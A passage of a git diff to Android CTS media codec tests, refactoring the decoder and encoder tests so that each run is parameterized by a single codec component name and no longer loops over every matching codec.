                 activity.setScreenParams(getWidth(newFormat), getHeight(newFormat), true);
                 reConfigureCodec(newFormat, isAsync, false, false);
@@ -413,17 +402,13 @@
     @LargeTest
     @Test(timeout = PER_TEST_TIMEOUT_LARGE_TEST_MS)
     public void testSimpleDecodeToSurfaceNative() throws IOException, InterruptedException {
-        ArrayList<String> listOfDecoders = selectCodecs(mMime, null, null, false);
-        if (listOfDecoders.isEmpty()) {
-            fail("no suitable codecs found for mime: " + mMime);
-        }
         MediaFormat format = setUpSource(mTestFile);
         mExtractor.release();
         CodecTestActivity activity = mActivityRule.getActivity();
         setUpSurface(activity);
         activity.setScreenParams(getWidth(format), getHeight(format), false);
-        for (String decoder : listOfDecoders) {
-            assertTrue(nativeTestSimpleDecode(decoder, mSurface, mMime, mInpPrefix + mTestFile,
+        {
+            assertTrue(nativeTestSimpleDecode(mCodecName, mSurface, mMime, mInpPrefix + mTestFile,
                     mInpPrefix + mReconfigFile, -1.0f, 0L));
         }
         tearDownSurface();
@@ -435,17 +420,13 @@
     @LargeTest
     @Test(timeout = PER_TEST_TIMEOUT_LARGE_TEST_MS)
     public void testFlushNative() throws IOException, InterruptedException {
-        ArrayList<String> listOfDecoders = selectCodecs(mMime, null, null, false);
-        if (listOfDecoders.isEmpty()) {
-            fail("no suitable codecs found for mime: " + mMime);
-        }
         MediaFormat format = setUpSource(mTestFile);
         mExtractor.release();
         CodecTestActivity activity = mActivityRule.getActivity();
         setUpSurface(activity);
         activity.setScreenParams(getWidth(format), getHeight(format), true);
-        for (String decoder : listOfDecoders) {
-            assertTrue(nativeTestFlush(decoder, mSurface, mMime, mInpPrefix + mTestFile));
+        {
+            assertTrue(nativeTestFlush(mCodecName, mSurface, mMime, mInpPrefix + mTestFile));
         }
         tearDownSurface();
     }
diff --git a/tests/media/src/android/mediav2/cts/CodecDecoderTest.java b/tests/media/src/android/mediav2/cts/CodecDecoderTest.java
index dfd7929..16faa41 100644
--- a/tests/media/src/android/mediav2/cts/CodecDecoderTest.java
+++ b/tests/media/src/android/mediav2/cts/CodecDecoderTest.java
@@ -45,7 +45,6 @@
 
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
 
 /**
  * Validate decode functionality of listed decoder components
@@ -66,9 +65,9 @@
     private final float mRmsError;
     private final long mRefCRC;
 
-    public CodecDecoderTest(String mime, String testFile, String refFile, String reconfigFile,
-            float rmsError, long refCRC) {
-        super(mime, testFile);
+    public CodecDecoderTest(String decoder, String mime, String testFile, String refFile,
+            String reconfigFile, float rmsError, long refCRC) {
+        super(decoder, mime, testFile);
         mRefFile = refFile;
         mReconfigFile = reconfigFile;
         mRmsError = rmsError;
@@ -125,7 +124,7 @@
         return list;
     }
 
-    @Parameterized.Parameters(name = "{index}({0})")
+    @Parameterized.Parameters(name = "{index}({0}_{1})")
     public static Collection<Object[]> input() {
         final boolean isEncoder = false;
         final boolean needAudio = true;
@@ -210,28 +209,23 @@
     @Test(timeout = PER_TEST_TIMEOUT_LARGE_TEST_MS)
     public void testSimpleDecode() throws IOException, InterruptedException {
         MediaFormat format = setUpSource(mTestFile);
-        ArrayList<String> listOfDecoders = selectCodecs(mMime, null, null, false);
-        if (listOfDecoders.isEmpty()) {
-            mExtractor.release();
-            fail("no suitable codecs found for mime: " + mMime);
-        }
         boolean[] boolStates = {true, false};
         mSaveToMem = true;
         OutputManager ref = new OutputManager();
         OutputManager test = new OutputManager();
-        for (String decoder : listOfDecoders) {
-            mCodec = MediaCodec.createByCodecName(decoder);
-            assertTrue("codec name act/got: " + mCodec.getName() + '/' + decoder,
-                    mCodec.getName().equals(decoder));
+        {
+            mCodec = MediaCodec.createByCodecName(mCodecName);
+            assertTrue("codec name act/got: " + mCodec.getName() + '/' + mCodecName,
+                    mCodec.getName().equals(mCodecName));
             assertTrue("error! codec canonical name is null",
                     mCodec.getCanonicalName() != null && !mCodec.getCanonicalName().isEmpty());
-            validateMetrics(decoder);
+            validateMetrics(mCodecName);
             int loopCounter = 0;
             for (boolean eosType : boolStates) {
                 for (boolean isAsync : boolStates) {
                     boolean validateFormat = true;
                     String log = String.format("codec: %s, file: %s, mode: %s, eos type: %s:: ",
-                            decoder, mTestFile, (isAsync ? "async" : "sync"),
+                            mCodecName, mTestFile, (isAsync ? "async" : "sync"),
                             (eosType ? "eos with last frame" : "eos separate"));
                     mOutputBuff = loopCounter == 0 ? ref : test;
                     mOutputBuff.reset();
@@ -240,7 +234,7 @@
                     MediaFormat defFormat = mCodec.getOutputFormat();
                     if (isFormatSimilar(format, defFormat)) {
                         if (ENABLE_LOGS) {
-                            Log.d("Input format is same as default for format for %s", decoder);
+                            Log.d("Input format is same as default for format for %s", mCodecName);
                         }
                         validateFormat = false;
                     }
@@ -248,7 +242,7 @@
                     doWork(Integer.MAX_VALUE);
                     queueEOS();
                     waitForAllOutputs();
-                    validateMetrics(decoder, format);
+                    validateMetrics(mCodecName, format);
                     /* TODO(b/147348711) */
                     if (false) mCodec.stop();
                     else mCodec.reset();
@@ -281,7 +275,7 @@
             }
             mCodec.release();
             if (mSaveToMem) verify(mOutputBuff, mRefFile, mRmsError, mRefCRC);
-            assertTrue(nativeTestSimpleDecode(decoder, null, mMime, mInpPrefix + mTestFile,
+            assertTrue(nativeTestSimpleDecode(mCodecName, null, mMime, mInpPrefix + mTestFile,
                     mInpPrefix + mRefFile, mRmsError, ref.getCheckSumBuffer()));
         }
         mExtractor.release();
@@ -297,10 +291,6 @@
     public void testFlush() throws IOException, InterruptedException {
         MediaFormat format = setUpSource(mTestFile);
         mExtractor.release();
-        ArrayList<String> listOfDecoders = selectCodecs(mMime, null, null, false);
-        if (listOfDecoders.isEmpty()) {
-            fail("no suitable codecs found for mime: " + mMime);
-        }
         mCsdBuffers.clear();
         for (int i = 0; ; i++) {
             String csdKey = "csd-" + i;
@@ -312,8 +302,8 @@
         final int mode = MediaExtractor.SEEK_TO_CLOSEST_SYNC;
         boolean[] boolStates = {true, false};
         OutputManager test = new OutputManager();
-        for (String decoder : listOfDecoders) {
-            decodeToMemory(mTestFile, decoder, pts, mode, Integer.MAX_VALUE);
+        {
+            decodeToMemory(mTestFile, mCodecName, pts, mode, Integer.MAX_VALUE);
             OutputManager ref = mOutputBuff;
             if (mIsAudio) {
                 assertTrue("reference output pts is not strictly increasing",
@@ -324,9 +314,9 @@
             }
             mOutputBuff = test;
             setUpSource(mTestFile);
-            mCodec = MediaCodec.createByCodecName(decoder);
+            mCodec = MediaCodec.createByCodecName(mCodecName);
             for (boolean isAsync : boolStates) {
-                String log = String.format("decoder: %s, input file: %s, mode: %s:: ", decoder,
+                String log = String.format("decoder: %s, input file: %s, mode: %s:: ", mCodecName,
                         mTestFile, (isAsync ? "async" : "sync"));
                 mExtractor.seekTo(0, mode);
                 configureCodec(format, isAsync, true, false);
@@ -334,7 +324,7 @@
                 boolean validateFormat = true;
                 if (isFormatSimilar(format, defFormat)) {
                     if (ENABLE_LOGS) {
-                        Log.d("Input format is same as default for format for %s", decoder);
+                        Log.d("Input format is same as default for format for %s", mCodecName);
                     }
                     validateFormat = false;
                 }
@@ -360,7 +350,7 @@
 
                 /* test flush in running state */
                 flushCodec();
-                if (checkMetrics) validateMetrics(decoder, format);
+                if (checkMetrics) validateMetrics(mCodecName, format);
                 if (mIsCodecInAsyncMode) mCodec.start();
                 mSaveToMem = true;
                 test.reset();
@@ -411,12 +401,8 @@
     @LargeTest
     @Test(timeout = PER_TEST_TIMEOUT_LARGE_TEST_MS)
     public void testFlushNative() {
-        ArrayList<String> listOfDecoders = selectCodecs(mMime, null, null, false);
-        if (listOfDecoders.isEmpty()) {
-            fail("no suitable codecs found for mime: " + mMime);
-        }
-        for (String decoder : listOfDecoders) {
-            assertTrue(nativeTestFlush(decoder, null, mMime, mInpPrefix + mTestFile));
+        {
+            assertTrue(nativeTestFlush(mCodecName, null, mMime, mInpPrefix + mTestFile));
         }
     }
 
@@ -433,19 +419,15 @@
         mExtractor.release();
         MediaFormat newFormat = setUpSource(mReconfigFile);
         mExtractor.release();
-        ArrayList<String> listOfDecoders = selectCodecs(mMime, null, null, false);
-        if (listOfDecoders.isEmpty()) {
-            fail("no suitable codecs found for mime: " + mMime);
-        }
         final long startTs = 0;
         final long seekTs = 500000;
         final int mode = MediaExtractor.SEEK_TO_CLOSEST_SYNC;
         boolean[] boolStates = {true, false};
         OutputManager test = new OutputManager();
-        for (String decoder : listOfDecoders) {
-            decodeToMemory(mTestFile, decoder, startTs, mode, Integer.MAX_VALUE);
+        {
+            decodeToMemory(mTestFile, mCodecName, startTs, mode, Integer.MAX_VALUE);
             OutputManager ref = mOutputBuff;
-            decodeToMemory(mReconfigFile, decoder, seekTs, mode, Integer.MAX_VALUE);
+            decodeToMemory(mReconfigFile, mCodecName, seekTs, mode, Integer.MAX_VALUE);
             OutputManager configRef = mOutputBuff;
             if (mIsAudio) {
                 assertTrue("reference output pts is not strictly increasing",
@@ -459,10 +441,10 @@
                         ref.isOutPtsListIdenticalToInpPtsList(false));
             }
             mOutputBuff = test;
-            mCodec = MediaCodec.createByCodecName(decoder);
+            mCodec = MediaCodec.createByCodecName(mCodecName);
             for (boolean isAsync : boolStates) {
                 setUpSource(mTestFile);
-                String log = String.format("decoder: %s, input file: %s, mode: %s:: ", decoder,
+                String log = String.format("decoder: %s, input file: %s, mode: %s:: ", mCodecName,
                         mTestFile, (isAsync ? "async" : "sync"));
                 mExtractor.seekTo(startTs, MediaExtractor.SEEK_TO_CLOSEST_SYNC);
                 configureCodec(format, isAsync, true, false);
@@ -470,7 +452,7 @@
                 boolean validateFormat = true;
                 if (isFormatSimilar(format, defFormat)) {
                     if (ENABLE_LOGS) {
-                        Log.d("Input format is same as default for format for %s", decoder);
+                        Log.d("Input format is same as default for format for %s", mCodecName);
                     }
                     validateFormat = false;
                 }
@@ -494,7 +476,7 @@
                                         mIsCodecInAsyncMode ? mAsyncHandle.getOutputFormat() :
                                                 mOutFormat));
                     }
-                    validateMetrics(decoder, format);
+                    validateMetrics(mCodecName, format);
                 }
 
                 /* test reconfigure codec in running state */
@@ -553,12 +535,12 @@
 
                 /* test reconfigure codec for new file */
                 setUpSource(mReconfigFile);
-                log = String.format("decoder: %s, input file: %s, mode: %s:: ", decoder,
+                log = String.format("decoder: %s, input file: %s, mode: %s:: ", mCodecName,
                         mReconfigFile, (isAsync ? "async" : "sync"));
                 reConfigureCodec(newFormat, isAsync, false, false);
                 if (isFormatSimilar(newFormat, defFormat)) {
                     if (ENABLE_LOGS) {
-                        Log.d("Input format is same as default for format for %s", decoder);
+                        Log.d("Input format is same as default for format for %s", mCodecName);
                     }
                     validateFormat = false;
                 }
@@ -568,7 +550,7 @@
                 doWork(Integer.MAX_VALUE);
                 queueEOS();
                 waitForAllOutputs();
-                validateMetrics(decoder, newFormat);
+                validateMetrics(mCodecName, newFormat);
                 /* TODO(b/147348711) */
                 if (false) mCodec.stop();
                 else mCodec.reset();
@@ -599,20 +581,15 @@
     @Test(timeout = PER_TEST_TIMEOUT_SMALL_TEST_MS)
     public void testOnlyEos() throws IOException, InterruptedException {
         MediaFormat format = setUpSource(mTestFile);
-        ArrayList<String> listOfDecoders = selectCodecs(mMime, null, null, false);
-        if (listOfDecoders.isEmpty()) {
-            mExtractor.release();
-            fail("no suitable codecs found for mime: " + mMime);
-        }
         boolean[] boolStates = {true, false};
         OutputManager ref = new OutputManager();
         OutputManager test = new OutputManager();
         mSaveToMem = true;
-        for (String decoder : listOfDecoders) {
-            mCodec = MediaCodec.createByCodecName(decoder);
+        {
+            mCodec = MediaCodec.createByCodecName(mCodecName);
             int loopCounter = 0;
             for (boolean isAsync : boolStates) {
-                String log = String.format("decoder: %s, input file: %s, mode: %s:: ", decoder,
+                String log = String.format("decoder: %s, input file: %s, mode: %s:: ", mCodecName,
                         mTestFile, (isAsync ? "async" : "sync"));
                 configureCodec(format, isAsync, false, false);
                 mOutputBuff = loopCounter == 0 ? ref : test;
@@ -646,12 +623,8 @@
     @SmallTest
     @Test
     public void testOnlyEosNative() {
-        ArrayList<String> listOfDecoders = selectCodecs(mMime, null, null, false);
-        if (listOfDecoders.isEmpty()) {
-            fail("no suitable codecs found for mime: " + mMime);
-        }
-        for (String decoder : listOfDecoders) {
-            assertTrue(nativeTestOnlyEos(decoder, mMime, mInpPrefix + mTestFile));
+        {
+            assertTrue(nativeTestOnlyEos(mCodecName, mMime, mInpPrefix + mTestFile));
         }
     }
 
@@ -676,17 +649,12 @@
                 format.removeKey(csdKey);
             } else break;
         }
-        ArrayList<String> listOfDecoders = selectCodecs(mMime, null, null, false);
-        if (listOfDecoders.isEmpty()) {
-            mExtractor.release();
-            fail("no suitable codecs found for mime: " + mMime);
-        }
         boolean[] boolStates = {true, false};
         mSaveToMem = true;
         OutputManager ref = new OutputManager();
         OutputManager test = new OutputManager();
-        for (String decoder : listOfDecoders) {
-            mCodec = MediaCodec.createByCodecName(decoder);
+        {
+            mCodec = MediaCodec.createByCodecName(mCodecName);
             int loopCounter = 0;
             for (int i = 0; i < formats.size(); i++) {
                 MediaFormat fmt = formats.get(i);
@@ -694,7 +662,7 @@
                     for (boolean isAsync : boolStates) {
                         boolean validateFormat = true;
                         String log = String.format("codec: %s, file: %s, mode: %s, eos type: %s:: ",
-                                decoder, mTestFile, (isAsync ? "async" : "sync"),
+                                mCodecName, mTestFile, (isAsync ? "async" : "sync"),
                                 (eosMode ? "eos with last frame" : "eos separate"));
                         mOutputBuff = loopCounter == 0 ? ref : test;
                         mOutputBuff.reset();
@@ -703,7 +671,8 @@
                         MediaFormat defFormat = mCodec.getOutputFormat();
                         if (isFormatSimilar(defFormat, format)) {
                             if (ENABLE_LOGS) {
-                                Log.d("Input format is same as default for format for %s", decoder);
+                                Log.d("Input format is same as default for format for %s",
+                                        mCodecName);
                             }
                             validateFormat = false;
                         }
@@ -712,7 +681,7 @@
                         doWork(Integer.MAX_VALUE);
                         queueEOS();
                         waitForAllOutputs();
-                        validateMetrics(decoder);
+                        validateMetrics(mCodecName);
                         /* TODO(b/147348711) */
                         if (false) mCodec.stop();
                         else mCodec.reset();
@@ -760,12 +729,8 @@
             mExtractor.release();
             return;
         }
-        ArrayList<String> listOfDecoders = selectCodecs(mMime, null, null, false);
-        if (listOfDecoders.isEmpty()) {
-            fail("no suitable codecs found for mime: " + mMime);
-        }
-        for (String decoder : listOfDecoders) {
-            assertTrue(nativeTestSimpleDecodeQueueCSD(decoder, mMime, mInpPrefix + mTestFile));
+        {
+            assertTrue(nativeTestSimpleDecodeQueueCSD(mCodecName, mMime, mInpPrefix + mTestFile));
         }
         mExtractor.release();
     }
@@ -776,16 +741,17 @@
     @LargeTest
     @Test(timeout = PER_TEST_TIMEOUT_LARGE_TEST_MS)
     public void testDecodePartialFrame() throws IOException, InterruptedException {
+        Assume.assumeTrue(isFeatureSupported(mCodecName, mMime,
+                MediaCodecInfo.CodecCapabilities.FEATURE_PartialFrame));
         MediaFormat format = setUpSource(mTestFile);
-        ArrayList<String> listOfDecoders = selectCodecs(mMime, null,
-                new String[]{MediaCodecInfo.CodecCapabilities.FEATURE_PartialFrame}, false);
         boolean[] boolStates = {true, false};
         int frameLimit = 10;
         ByteBuffer buffer = ByteBuffer.allocate(4 * 1024 * 1024);
         OutputManager test = new OutputManager();
-        for (String decoder : listOfDecoders) {
-            decodeToMemory(mTestFile, decoder, 0, MediaExtractor.SEEK_TO_CLOSEST_SYNC, frameLimit);
-            mCodec = MediaCodec.createByCodecName(decoder);
+        {
+            decodeToMemory(mTestFile, mCodecName, 0, MediaExtractor.SEEK_TO_CLOSEST_SYNC,
+                    frameLimit);
+            mCodec = MediaCodec.createByCodecName(mCodecName);
             OutputManager ref = mOutputBuff;
             if (mIsAudio) {
                 assertTrue("reference output pts is not strictly increasing",
@@ -797,7 +763,7 @@
             mSaveToMem = true;
             mOutputBuff = test;
             for (boolean isAsync : boolStates) {
-                String log = String.format("decoder: %s, input file: %s, mode: %s:: ", decoder,
+                String log = String.format("decoder: %s, input file: %s, mode: %s:: ", mCodecName,
                         mTestFile, (isAsync ? "async" : "sync"));
                 mExtractor.seekTo(0, MediaExtractor.SEEK_TO_CLOSEST_SYNC);
                 test.reset();
diff --git a/tests/media/src/android/mediav2/cts/CodecDecoderValidationTest.java b/tests/media/src/android/mediav2/cts/CodecDecoderValidationTest.java
index 1696561..4c27aed 100644
--- a/tests/media/src/android/mediav2/cts/CodecDecoderValidationTest.java
+++ b/tests/media/src/android/mediav2/cts/CodecDecoderValidationTest.java
@@ -52,9 +52,9 @@
     private final long mRefCRC;
     private final int mSupport;
 
-    public CodecDecoderValidationTest(String mime, String[] srcFiles, String refFile,
-            float rmsError, long refCRC, int support) {
-        super(mime, null);
+    public CodecDecoderValidationTest(String decoder, String mime, String[] srcFiles,
+            String refFile, float rmsError, long refCRC, int support) {
+        super(decoder, mime, null);
         mSrcFiles = srcFiles;
         mRefFile = refFile;
         mRmsError = rmsError;
@@ -62,7 +62,7 @@
         mSupport = support;
     }
 
-    @Parameterized.Parameters(name = "{index}({0})")
+    @Parameterized.Parameters(name = "{index}({0}_{1})")
     public static Collection<Object[]> input() {
         final boolean isEncoder = false;
         final boolean needAudio = true;
@@ -466,25 +466,27 @@
     @LargeTest
     @Test(timeout = PER_TEST_TIMEOUT_LARGE_TEST_MS)
     public void testDecodeAndValidate() throws IOException, InterruptedException {
-        ArrayList<MediaFormat> formats = null;
-        if (mSupport != CODEC_ALL) {
-            formats = new ArrayList<>();
-            for (String file : mSrcFiles) {
-                formats.add(setUpSource(file));
-                mExtractor.release();
-            }
+        ArrayList<MediaFormat> formats = new ArrayList<>();
+        for (String file : mSrcFiles) {
+            formats.add(setUpSource(file));
+            mExtractor.release();
         }
-        ArrayList<String> listOfDecoders = selectCodecs(mMime, formats, null, false);
-        if (listOfDecoders.isEmpty()) {
-            if (mSupport == CODEC_OPTIONAL) return;
-            else fail("no suitable codecs found for mime: " + mMime);
+        if (!areFormatsSupported(mCodecName, mMime, formats)) {
+            if (mSupport == CODEC_ALL) {
+                fail("format(s) not supported by component: " + mCodecName + " for mime : " +
+                        mMime);
+            }
+            if (mSupport != CODEC_OPTIONAL && selectCodecs(mMime, formats, null, false).isEmpty()) {
+                fail("format(s) not supported by any component for mime : " + mMime);
+            }
+            return;
         }
         final int mode = MediaExtractor.SEEK_TO_CLOSEST_SYNC;
-        for (String decoder : listOfDecoders) {
+        {
             OutputManager ref = null;
             for (String file : mSrcFiles) {
-                decodeToMemory(file, decoder, 0, mode, Integer.MAX_VALUE);
-                String log = String.format("codec: %s, test file: %s:: ", decoder, file);
+                decodeToMemory(file, mCodecName, 0, mode, Integer.MAX_VALUE);
+                String log = String.format("codec: %s, test file: %s:: ", mCodecName, file);
                 assertTrue(log + " unexpected error", !mAsyncHandle.hasSeenError());
                 assertTrue(log + "no input sent", 0 != mInputCount);
                 assertTrue(log + "output received", 0 != mOutputCount);
diff --git a/tests/media/src/android/mediav2/cts/CodecEncoderSurfaceTest.java b/tests/media/src/android/mediav2/cts/CodecEncoderSurfaceTest.java
index 59aee43..22d1083 100644
--- a/tests/media/src/android/mediav2/cts/CodecEncoderSurfaceTest.java
+++ b/tests/media/src/android/mediav2/cts/CodecEncoderSurfaceTest.java
@@ -29,6 +29,7 @@
 import androidx.test.filters.LargeTest;
 import androidx.test.platform.app.InstrumentationRegistry;
 
+import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import org.junit.runners.Parameterized;
@@ -36,12 +37,10 @@
 import java.io.File;
 import java.io.IOException;
 import java.nio.ByteBuffer;
-import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.Collection;
 import java.util.List;
 
-import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
@@ -51,6 +50,7 @@
     private static final String mInpPrefix = WorkDir.getMediaDirString();
     private static final boolean ENABLE_LOGS = false;
 
+    private final String mCompName;
     private final String mMime;
     private final String mTestFile;
     private final int mBitrate;
@@ -86,7 +86,9 @@
         CodecTestBase.mimeSelKeys = args.getString(CodecTestBase.MIME_SEL_KEY);
     }
 
-    public CodecEncoderSurfaceTest(String mime, String testFile, int bitrate, int frameRate) {
+    public CodecEncoderSurfaceTest(String encoder, String mime, String testFile, int bitrate,
+            int frameRate) {
+        mCompName = encoder;
         mMime = mime;
         mTestFile = testFile;
         mBitrate = bitrate;
@@ -98,7 +100,14 @@
         mAsyncHandleEncoder = new CodecAsyncHandler();
     }
 
-    @Parameterized.Parameters(name = "{index}({0})")
+    @Before
+    public void isCodecNameValid() {
+        if (mCompName.startsWith(CodecTestBase.INVALID_CODEC)) {
+            fail("no valid component available for current test ");
+        }
+    }
+
+    @Parameterized.Parameters(name = "{index}({0}_{1})")
     public static Collection<Object[]> input() {
         final boolean isEncoder = true;
         final boolean needAudio = false;
@@ -445,11 +454,9 @@
         }
         mDecoder = MediaCodec.createByCodecName(decoder);
         MediaFormat encoderFormat = setUpEncoderFormat(decoderFormat);
-        ArrayList<String> listOfEncoders = CodecTestBase.selectCodecs(mMime, null, null, true);
-        assertFalse("no suitable codecs found for mime: " + mMime, listOfEncoders.isEmpty());
         boolean muxOutput = true;
-        for (String encoder : listOfEncoders) {
-            mEncoder = MediaCodec.createByCodecName(encoder);
+        {
+            mEncoder = MediaCodec.createByCodecName(mCompName);
             /* TODO(b/149027258) */
             mSaveToMem = false;
             OutputManager ref = new OutputManager();
@@ -497,7 +504,7 @@
                 else mEncoder.reset();
                 String log = String.format(
                         "format: %s \n codec: %s, file: %s, mode: %s:: ",
-                        encoderFormat, encoder, mTestFile, (isAsync ? "async" : "sync"));
+                        encoderFormat, mCompName, mTestFile, (isAsync ? "async" : "sync"));
                 assertTrue(log + " unexpected error", !hasSeenError());
                 assertTrue(log + "no input sent", 0 != mDecInputCount);
                 assertTrue(log + "no decoder output received", 0 != mDecOutputCount);
@@ -549,19 +556,16 @@
             mExtractor.release();
             fail("no suitable decoder found for format: " + decoderFormat.toString());
         }
-        ArrayList<String> listOfEncoders = CodecTestBase.selectCodecs(mMime, null, null, true);
-        assertFalse("no suitable codecs found for mime: " + mMime, listOfEncoders.isEmpty());
-        for (String encoder : listOfEncoders) {
-            String tmpPath = null;
+        {
+            String tmpPath;
             if (mMime.equals(MediaFormat.MIMETYPE_VIDEO_VP8) ||
                     mMime.equals(MediaFormat.MIMETYPE_VIDEO_VP9)) {
                 tmpPath = File.createTempFile("tmp", ".webm").getAbsolutePath();
             } else {
                 tmpPath = File.createTempFile("tmp", ".mp4").getAbsolutePath();
             }
-            assertTrue(
-                    nativeTestSimpleEncode(encoder, decoder, mMime, mInpPrefix + mTestFile, tmpPath,
-                            mBitrate, mFrameRate));
+            assertTrue(nativeTestSimpleEncode(mCompName, decoder, mMime, mInpPrefix + mTestFile,
+                    tmpPath, mBitrate, mFrameRate));
         }
     }
 }
diff --git a/tests/media/src/android/mediav2/cts/CodecEncoderTest.java b/tests/media/src/android/mediav2/cts/CodecEncoderTest.java
index 0d5f49c..e3e3a2d 100644
--- a/tests/media/src/android/mediav2/cts/CodecEncoderTest.java
+++ b/tests/media/src/android/mediav2/cts/CodecEncoderTest.java
@@ -54,22 +54,13 @@
 @RunWith(Parameterized.class)
 public class CodecEncoderTest extends CodecEncoderTestBase {
     private static final String LOG_TAG = CodecEncoderTest.class.getSimpleName();
-    private final int[] mBitrates;
-    private final int[] mEncParamList1;
-    private final int[] mEncParamList2;
-    private ArrayList<MediaFormat> mFormats;
     private int mNumSyncFramesReceived;
     private ArrayList<Integer> mSyncFramesPos;
-    ArrayList<MediaCodec.BufferInfo> mInfoList;
 
-    public CodecEncoderTest(String mime, int[] bitrates, int[] encoderInfo1, int[] encoderInfo2) {
-        super(mime);
-        mBitrates = bitrates;
-        mEncParamList1 = encoderInfo1;
-        mEncParamList2 = encoderInfo2;
-        mFormats = new ArrayList<>();
+    public CodecEncoderTest(String encoder, String mime, int[] bitrates, int[] encoderInfo1,
+            int[] encoderInfo2) {
+        super(encoder, mime, bitrates, encoderInfo1, encoderInfo2);
         mSyncFramesPos = new ArrayList<>();
-        mInfoList = new ArrayList<>();
     }
 
     @Override
@@ -91,61 +82,9 @@
             mNumSyncFramesReceived += 1;
             mSyncFramesPos.add(mOutputCount);
         }
-        if (mSaveToMem && info.size > 0) {
-            MediaCodec.BufferInfo copy = new MediaCodec.BufferInfo();
-            copy.set(mOutputBuff.getOutStreamSize(), info.size, info.presentationTimeUs,
-                    info.flags);
-            mInfoList.add(copy);
-        }
         super.dequeueOutput(bufferIndex, info);
     }
 
-    private void encodeToMemory(String file, String encoder, int frameLimit, MediaFormat format)
-            throws IOException, InterruptedException {
-        /* TODO(b/149027258) */
-        if (true) mSaveToMem = false;
-        else mSaveToMem = true;
-        mOutputBuff = new OutputManager();
-        mCodec = MediaCodec.createByCodecName(encoder);
-        setUpSource(file);
-        configureCodec(format, false, true, true);
-        if (mIsAudio) {
-            mSampleRate = format.getInteger(MediaFormat.KEY_SAMPLE_RATE);
-            mChannels = format.getInteger(MediaFormat.KEY_CHANNEL_COUNT);
-        } else {
-            mWidth = format.getInteger(MediaFormat.KEY_WIDTH);
-            mHeight = format.getInteger(MediaFormat.KEY_HEIGHT);
-        }
-        mCodec.start();
-        doWork(frameLimit);
-        queueEOS();
-        waitForAllOutputs();
-        mCodec.stop();
-        mCodec.release();
-        mSaveToMem = false;
-    }
-
-    /**
-     * Selects encoder input color format in byte buffer mode. As of now ndk tests support only
-     * 420p, 420sp. COLOR_FormatYUV420Flexible although can represent any form of yuv, it doesn't
-     * work in ndk due to lack of AMediaCodec_GetInputImage()
-     */
-    private static int findByteBufferColorFormat(String encoder, String mime) throws IOException {
-        MediaCodec codec = MediaCodec.createByCodecName(encoder);
-        MediaCodecInfo.CodecCapabilities cap = codec.getCodecInfo().getCapabilitiesForType(mime);
-        int colorFormat = -1;
-        for (int c : cap.colorFormats) {
-            if (c == MediaCodecInfo.CodecCapabilities.COLOR_FormatYUV420SemiPlanar ||
-                    c == MediaCodecInfo.CodecCapabilities.COLOR_FormatYUV420Planar) {
-                Log.v(LOG_TAG, "selecting color format: " + c);
-                colorFormat = c;
-                break;
-            }
-        }
-        codec.release();
-        return colorFormat;
-    }
-
     private void forceSyncFrame() {
         final Bundle syncFrame = new Bundle();
         syncFrame.putInt(MediaCodec.PARAMETER_KEY_REQUEST_SYNC_FRAME, 0);
@@ -164,7 +103,7 @@
         mCodec.setParameters(bitrateUpdate);
     }
 
-    @Parameterized.Parameters(name = "{index}({0})")
+    @Parameterized.Parameters(name = "{index}({0}_{1})")
     public static Collection<Object[]> input() {
         final boolean isEncoder = true;
         final boolean needAudio = true;
@@ -202,66 +141,6 @@
         return prepareParamList(exhaustiveArgsList, isEncoder, needAudio, needVideo, true);
     }
 
-    private ByteBuffer decodeElementaryStream(String decoder, MediaFormat format,
-            ByteBuffer elementaryStream, ArrayList<MediaCodec.BufferInfo> infos)
-            throws IOException, InterruptedException {
-        String mime = format.getString(MediaFormat.KEY_MIME);
-        CodecDecoderTestBase cdtb = new CodecDecoderTestBase(mime, null);
-        cdtb.mOutputBuff = new OutputManager();
-        cdtb.mSaveToMem = true;
-        cdtb.mCodec = MediaCodec.createByCodecName(decoder);
-        cdtb.mCodec.configure(format, null, null, 0);
-        cdtb.mCodec.start();
-        cdtb.doWork(elementaryStream, infos);
-        cdtb.queueEOS();
-        cdtb.waitForAllOutputs();
-        cdtb.mCodec.stop();
-        cdtb.mCodec.release();
-        return cdtb.mOutputBuff.getBuffer();
-    }
-
-    private void setUpParams(int limit) {
-        int count = 0;
-        for (int bitrate : mBitrates) {
-            if (mIsAudio) {
-                for (int rate : mEncParamList1) {
-                    for (int channels : mEncParamList2) {
-                        MediaFormat format = new MediaFormat();
-                        format.setString(MediaFormat.KEY_MIME, mMime);
-                        if (mMime.equals(MediaFormat.MIMETYPE_AUDIO_FLAC)) {
-                            format.setInteger(MediaFormat.KEY_FLAC_COMPRESSION_LEVEL, bitrate);
-                        } else {
-                            format.setInteger(MediaFormat.KEY_BIT_RATE, bitrate);
-                        }
-                        format.setInteger(MediaFormat.KEY_SAMPLE_RATE, rate);
-                        format.setInteger(MediaFormat.KEY_CHANNEL_COUNT, channels);
-                        mFormats.add(format);
-                        count++;
-                        if (count >= limit) return;
-                    }
-                }
-            } else {
-                assertTrue("Wrong number of height, width parameters",
-                        mEncParamList1.length == mEncParamList2.length);
-                for (int i = 0; i < mEncParamList1.length; i++) {
-                    MediaFormat format = new MediaFormat();
-                    format.setString(MediaFormat.KEY_MIME, mMime);
-                    format.setInteger(MediaFormat.KEY_BIT_RATE, bitrate);
-                    format.setInteger(MediaFormat.KEY_WIDTH, mEncParamList1[i]);
-                    format.setInteger(MediaFormat.KEY_HEIGHT, mEncParamList2[i]);
-                    format.setInteger(MediaFormat.KEY_FRAME_RATE, mFrameRate);
-                    format.setInteger(MediaFormat.KEY_MAX_B_FRAMES, mMaxBFrames);
-                    format.setFloat(MediaFormat.KEY_I_FRAME_INTERVAL, 1.0f);
-                    format.setInteger(MediaFormat.KEY_COLOR_FORMAT,
-                            MediaCodecInfo.CodecCapabilities.COLOR_FormatYUV420Flexible);
-                    mFormats.add(format);
-                    count++;
-                    if (count >= limit) return;
-                }
-            }
-        }
-    }
-
     /**
      * Tests encoder for combinations:
      * 1. Codec Sync Mode, Signal Eos with Last frame
@@ -275,16 +154,14 @@
     @Test(timeout = PER_TEST_TIMEOUT_LARGE_TEST_MS)
     public void testSimpleEncode() throws IOException, InterruptedException {
         setUpParams(Integer.MAX_VALUE);
-        ArrayList<String> listOfEncoders = selectCodecs(mMime, null, null, true);
